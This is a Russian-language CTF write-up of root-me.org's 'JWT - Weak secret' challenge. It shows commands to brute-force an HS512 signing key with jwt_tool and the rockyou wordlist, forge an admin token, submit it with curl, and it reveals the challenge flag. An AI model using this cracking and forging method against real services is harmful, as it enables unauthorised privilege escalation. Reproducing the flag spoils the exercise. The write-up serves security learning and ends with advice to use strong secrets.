Перейти к основному содержанию

CTF — JSON Web Token (JWT) - Weak secret

CTF

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "JSON Web Token (JWT) - Weak secret". За решение задачки дают 25 баллов, ближе к среднему уровню.

ctf

Перевод ужасен. Из названия становится понятно, что работать будем с JWT, а слабым местом будет, как ни странно, слабый пароль.

Нам уже попадалась задачка с JWT, так что базовые понятия нам уже знакомы:

CTF — JSON Web Token (JWT) - Introduction

JSON Web Token (JWT) — это токен доступа для аутентификации в клиент-серверных приложениях. Представляет собой строку вида "header.payload.signature". Где:

  • header — заголовок. JSON объект в формате Base64, в котором передаются данные для описания самого токена, например, {"typ":"JWT","alg":"HS512"}.
  • payload — полезная нагрузка. JSON объект в формате Base64, в котором передаются данные пользователя, например, {"username":"v.pupkin","state":"superadmin"}.
  • signature — подпись. В формате Base64. Вычисляется из header + payload + secret, где secret — секретный ключ известный web серверу и серверу аутентификации.

JWT выглядит так:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk

Ссылки

Base64 encode/decode

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch59/hello

ctf

Нам пишут:

{"message": "Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request."}

Итак, нам предлагают немного поиграть. Админ сервера бьётся об заклад, что мы не сможем попасть в секретную админскую область. Нужно сделать GET запрос в /token, а потом попытаться получить доступ к разделу /admin, уже с помощью POST запроса.

Поехали:

http://challenge01.root-me.org/web-serveur/ch59/token

ctf

Нам пишут:

{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}

Теперь у нас есть JWT токен:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

Проверим вторую ссылку:

http://challenge01.root-me.org/web-serveur/ch59/admin

ctf

Нам пишут:

{"message": "The method is not allowed for the requested URL."}

Метод GET не прокатил, попробуем POST. Я воспользуюсь curl:

Трюки curl

curl -X POST http://challenge01.root-me.org/web-serveur/ch59/admin

ctf

Нам пишут:

{"message": "method to authenticate is: 'Authorization: Bearer YOURTOKEN'"}

Страничка просит авторизоваться. Давайте подсунем ей наш токен в заголовке Authorization:

curl -X POST -H "Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw" http://challenge01.root-me.org/web-serveur/ch59/admin

ctf

Нам пишут:

{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}

"Я был прав, ты не сломаешь мою криптозащиту! Я использую HS512 и не нуждаюсь в сложных паролях!" Что и требовалось доказать. Мы определили страничку, в которую будем стучаться. Мы пришли к выводу, что админ-таки использует шифрование, но не хочет выдумывать сложный пароль. И он в этом не прав.

А теперь вернёмся к нашему токену:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

Мы можем прочитать первую и вторую часть токена, header и payload. Для этого нам потребуется Base64 декодер. Я один такой написал:

Base64 encode/decode

Берём заголовок eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9 и декодируем, поучается:

{"typ":"JWT","alg":"HS512"}

Из заголовка становится понятно, что для получения подписи используется алгоритм шифрования HS512.

Берём полезную нагрузку eyJyb2xlIjoiZ3Vlc3QifQ и декодируем, поучается:

{"role":"guest"}

Ага, в полезной нагрузке передаётся имя роли guest. Было бы неплохо передать там другое имя, например, admin. Зная секретный ключ можно было бы сформировать новый токен JWT с нужной нам ролью, однако, секретный ключ мы не знаем. Но догадываемся по названию задачки, что он слабый. Теоретически мы можем где-то найти словарик слабых паролей, брутфорсом подобрать signature, чтобы результат получился 4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw. Вычислив секретный ключ, мы сможем сгенерировать новый токен, более подходящий к секретному разделу сайта.

Добрые люди уже написали для нас утилиту jwt_tool, которая позволяет работать с JWT токенами.

https://github.com/ticarpi/jwt_tool

Запускаю bash и устанавливаю её (Я работаю в Windows и использую встроенный Linux через WSL2):

git clone https://github.com/ticarpi/jwt_tool
apt-get update
apt install python3-pip
pip3 install termcolor cprint pycryptodomex requests

linux

Скармливаем утилите наш токен:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

ctf

При первом запуске утилита не нашла конфигурационный файл и создала его. Запускаем второй раз:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

ctf

Со второго раза утилита начала работать так как нужно и отобразила header и payload, которые мы уже и так знаем. Что дальше? А дальше всё просто, будем брутить секретный ключ. Для этого нам понадобится файл-словарь простых паролей. Если вы работает в Kali Linux, то такой словарь у вас уже есть:

/usr/share/worldlists/rockyou.txt

На в Windows такого словаря нет, пришлось гуглить. Через пару минут словарик уже лежал у мена в папке:

/mnt/c/keys/rockyou.txt

Натравливаем утилиту на перебор паролей к токену. Проверяем доступные параметры.

python3 jwt_tool.py -h

Подходящие параметры:

-C, --crack  crack key for an HMAC-SHA token (specify -d/-p/-kf)
-d DICT, --dict DICT  dictionary file for cracking
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw -C -d /mnt/c/keys/rockyou.txt

ctf

Секретный ключ-signature определился моментально, это lol.

Зная ключ мы можем сгенерировать новый токен. Я не стал разбираться, как сгенерировать JWT с помощью утилиты, зашёл на сайт и сделал это онлайн:

https://jwt.io/

Проверяю что lol действительно подходит, задаю header, payload, signature:

  • {"typ":"JWT","alg":"HS512"}
  • {"role":"guest"}
  • lol

Токен совпал с тем, что нам выдали.

ctf

Меняю роль на admin:

  • {"typ":"JWT","alg":"HS512"}
  • {"role":"admin"}
  • lol

ctf

Генерируется новый токен:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA

Подсовываем новый токен в заголовке Authorization:

curl -X POST -H "Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA" http://challenge01.root-me.org/web-serveur/ch59/admin

ctf

Поздравляшки! Вот и флаг: PleaseUseAStrongSecretNextTime

Валидируем.

ctf

Флаг подходит, зарабатываем 25 очков.

Безопасность

Да всё админ сервера правильно сделал, кроме одного, он использовал простой пароль. Если вы уж задаёте где-то пароли, секретные ключи или подписи, то позаботьтесь о том, чтобы они были достаточно сложными и стойкими к брутфорсу — перебору паролей.

Использование сложного алгоритма шифрования при генерации JWT не даёт оснований беспечно относиться к подписи.

Теги

 

Похожие материалы